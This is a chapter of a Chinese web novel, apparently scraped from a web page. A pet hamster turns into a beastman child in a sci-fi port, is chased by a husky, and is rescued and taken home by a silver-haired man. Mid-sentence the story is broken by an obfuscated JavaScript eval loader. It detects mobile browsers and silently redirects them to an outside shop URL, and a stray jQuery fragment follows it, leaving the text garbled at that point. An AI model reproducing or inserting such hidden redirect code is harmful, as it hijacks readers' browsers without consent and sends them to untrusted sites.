日落时分,NGC2206主星码头区人来人往,轮渡错落停靠,各色集装箱从船上搬往陆地,伴随着鸣笛声,照明灯一盏盏亮起,延至天边。
所有人都在忙碌,无人在意的角落,两个集装箱的缝隙处钻出一个毛茸茸的小脑袋。
几分钟前,栗栗在一堆杂乱颠簸的箱子之间醒来,趁着工作人员搬运的功夫偷偷摸摸逃出货舱,躲在甲板上堆成小山的集装箱后面。
他原本是一只小仓鼠,生活在古地球的一家药膳馆里,每天早睡晚起,啃木头坚果,吃水果蔬菜,没事就躺在窗边晒太阳,或是观摩主人抓药做饭。
直到今天,他趁着主人不在家,悄悄爬上了自己觊觎已久的桌子。桌子上有许多中医药材,最特别的是一颗小木头,很远就能闻到它散发的清雅香气。
栗栗左瞧瞧,右瞧瞧,迫不及待抱住那个木头,埋头猛吸一口,准备大啃一顿。
木头名崖香,比一般的硬,他门牙扣下去磨了好一会,才磨出一点木屑,鼠牙刚接触到里面的部分,一阵酥酥麻麻带着清凉甜意的微妙感觉直冲天灵盖,好上头,他越吃越迷糊,抱着木头睡了过去。
结果一觉醒来,就发现自己身在陌生的地方,找不到小窝,找不到主人,还变成了一个五六岁的人类幼崽,淹没在冷冰冰的人海里。
栗栗又后悔、又害怕,早知道就不贪吃了,自己想要回家,这里什么也没有,一定会被欺负的。
他想着想着眼眶湿润了,不争气地掉金豆子,鼻子也一吸一吸的。
呜嘤嘤,主人你在哪里,小仓鼠被弄丢了。
他小小的身子缩成一团,强忍泪水,断断续续哽咽,打了一个小奶嗝后,委屈巴巴抹掉鼻涕眼泪,抽抽搭搭地走进人群。
突然从仓鼠变成人类,栗栗还没有适应四肢,走起路来踉踉跄跄,红着鼻尖,两条短短的小肉腿迈得飞快,重心不稳,身子一晃一晃的,胳膊张开像小翅膀一样维持平衡。
他埋着头越跑越快,不留神迎面撞上一个长白毛的软柱子,被惯性弹得往后一坐,屁股摔在地上,疼地“斯哈”一声。
他被摔得有点懵,晃了晃脑袋,很不高兴地揉揉自己的屁股,气愤地抬头看去,等目光聚焦到眼前的东西,瞬间呆愣住了,感到头顶冷意四起。
小仓鼠撞到了一只有五个人类幼崽那么大的邪恶哈士奇。
哈士奇的舌头耷拉着嘴外边,鼻子抽动,眼睛里还泛着红血丝,发出一声低吠,看起来很不友好,好像一口就能把他吃掉。
栗栗愣神之后猛地爬起来,哆哆嗦嗦一点点往后退,然后转身拔腿就跑。
跑得越快,狗追得越快,哈士奇死死跟在后面,震耳的兽叫让他耳朵发颤。
唔啊啊啊,别过来,狗不能吃小孩啊!
吃小孩是犯法的啊!
他跑得气喘吁吁,心里骂哈士奇,转眼发现旁边堆满集装箱的路口,一个急转弯窜了进去,消失不见了。
“呼——”
栗栗拍了拍自己的胸口,庆幸自己成功躲避追杀。
发觉周围没了动静,他探出脑袋想确认哈士奇有没有走,环视一圈没有找到影子,大摇大摆准备离开,斜上方传来熟悉的“咕噜”声。
他瞪大眼睛慢吞吞扭头,可恶的哈士奇居高临下蹲坐在集装箱上,好整以暇地盯着他,哈癞子都要流出来了。
啊啊啊!救命啊!这个狗怎么阴魂不散啊!
他来不及犹豫,赶紧操着小短腿继续跑。哈士奇朝他扑过去,把箱子弄得到处都是。
才跑出去两步路,栗栗就双腿打架栽倒在地:“唔!”
膝盖重重磕在坚硬的沥青路面上,擦破了一层皮,渗出血珠,手上跌出沙石印子,脚好像也扭到了。
他顾不上钻心的疼痛,瘸着站起来,一颠一颠犬口逃生,狼狈不堪。
呜呜呜,他要被吃掉了!
这时,他突然看见前面的不远处直挺挺站着一个男人,半敞的大衣下摆随风微扬,脸上什么表情也没有,目前唯一一个不躲的人,好像在等他和那只狗一样。
栗栗仿佛抓到了救命稻草,一个劲地往他怀里飞奔,使出吃奶的力气紧紧抱住男人的腰不放手,心里不断祈祷菩萨上帝。
下一秒,男人用宽大的大衣遮住他的身子,把他调转方向护在身后,自己上前去。
只听见“嗷呜”的犬吠撕裂空气,男人精准地抬手射出一只镇定药剂,直直地钉在哈士奇的后颈。
方才还凶相毕露的利爪僵在半空,四肢剧烈抽搐了两下,庞大的身躯骤然失力倒塌,砸在地面上,褪去兽形。
紧随其后赶来的制服人员朝男人恭敬颔首,动作利索地架起失控的哈士奇兽人迅速撤离现场。
栗栗看着这满地狼籍,又看看一头银白头发的帅气男人,呆呆地站在原地一动不动。
虽然男人看上去凶凶的,但是眉骨高挺,眼睛乌亮,不仅救了他,浑身还散发着令他依赖的安全气息。
男人也正低头打量着他,对方眉头紧锁,对眼前这个不知道从哪里冒出来的兽人幼崽充满疑惑。
栗栗不自觉搓起了小手,小碎步挪动,扒拉起男人的大衣袖子,抱紧他的大腿。
男人等待了片刻,蹲下身子,指尖划过幼崽的后颈,军用终端却弹出了“无基因登记”的红标。
在这个星系,每一个兽人幼崽从出生那一刻起就会被录入基因库,标明种族。
无基因登记,这是为什么?
但无论什么原因,都不能让幼崽流落街头。
男人看了一眼还攥着他大腿不撒手的小东西,推肯定推不开了,单手稳稳托住他的屁股,捞起来抱着。
栗栗忽然离地,下意识“嘤咛”一声,两只手慌忙环住男人的脖颈,小脸蛋埋进他颈侧。
他的脖子好暖和,心跳声也很稳。
味道好好闻,想一直赖在他身上。
栗栗的眼睛瞬间亮了,意识到男人不烦他,开始在怀里瞎蹭。
“主……主人,你要带我回家吗?”他睫毛上的泪珠已经干了,吸了吸鼻子,用稚嫩柔软的语气问,还带着微弱的哭腔。
男人抬眸看了一眼小家伙,眼眶还红着一圈,头发乱糟糟的,身上也脏兮兮的,鼻翼微微翕动着,发出像小动物嗅食一样的声音。
“嗯,叫哥哥。”男人不会哄小孩,顿了一会才吐出几个字。
小幼崽听见他的话,抬起脑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17748198|209365||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
袋,困惑地歪着头看男人,认真思考了一下。
古地球上对收养自己的人都叫主人的呀,为什么要喊哥哥?
“可是……”栗栗不明所以地小声地说,“可是你救了我,还抱我,还让我靠你脖子……你就是主人呀。”
男人没有说话,对这个小家伙的清奇脑回路感到无言以对,脚步停了一下,然后当做无事发生默默抱着他继续走。
栗栗见男人不回答他,以为是生气了,用小手摸了摸对方的脸,真诚地挽救:“哥哥,你生气了吗,不要生气了好不好?”
“哥哥……”他又叫了一声,好像再不得到回应就要哭了。
“没有生气。”男人终于开口了,伸手抚了抚怀里幼崽的背,轻轻说。
栗栗得到答案,很自来熟地抱住男人,下巴搁在锁骨上,低低地嘟囔:“哥哥最好了。”
小孩儿的脸颊、鼻头、嘴唇,全部软乎乎的,温热的触感通过皮肤传送到男人血液,让第一次抱孩子的男人有点不知所措。
他僵着脖子,微微后仰想要躲开一点触碰,幼崽“叭”一下又黏回去,像一块甩不掉的糯米糍,只好作罢,任着小孩。
栗栗平复心情安静下来,观察起周围的环境。一个身后拖着毛茸茸大尾巴的人从他身侧走过,旁边还有一个黑豹突然变成了小伙子。
小仓鼠哪里见过这么魔幻的场景,眼睛睁得圆圆的。
哇塞——
简直不敢相信。
男人抱着他来到一辆摩托车前,镭银车身的星际摩托静静停在空港泊位,两个悬浮环微微离地一寸。
栗栗被抱坐在车上,男人给他带好头盔,自己跨坐在身后。头盔比他的脑袋大很多,里面空荡荡的,微微一动就会往下掉,遮住半个脸。
男人的胸膛自然地贴在他的后背,很有安全感,两条腿分开在车身两侧,正好可以卡住他的小短腿,保护他不滑落下来。
车辆起步的后坐力让他心里咯噔一下,赶紧用小手扶住头盔,固定在一个舒服的位置,透过护目镜,能够清晰地看到一路上的风景,这是他从来没有过的体验。
这里夜晚的天空和地球上的很不一样,亮晶晶的紫罗兰色夜空镶嵌着星云,闪着千万枝烛光,美丽而神秘。
二十分钟后,他们停在一座豪华的府邸前。
府邸大门无声滑开,暖黄的灯光从门内倾斜,栗栗依旧被男人抱起,窝在怀里,露出一只被头盔压红的耳朵。
他仰头看着眼前这栋建筑,比药膳馆大了不知道多少倍,金属的冷冽和玻璃的通透,让它看起来像星星砌成的。
男人单手拖着他进门,大厅里静悄悄的,往深处看,沙发上好像有什么毛茸茸的。
栗栗好奇地伸头去瞧,一个庞大的身躯蜷成一团银白色的山丘卧在上面,尾巴拖在地摊上,呼吸平稳深长,耳朵上泛着幽蓝的微光。
“好漂亮……”他不禁地被眼前的美丽生物吸引,赞叹道。
霜狼一族对声音气味十分敏感,从栗栗刚进门开始,她就已经醒了,只是懒得睁眼。直到稚嫩的童声落进耳里,才回头看去。
没想到一转头就看见自己那冷若冰霜的弟弟抱着一个陌生的人形幼崽。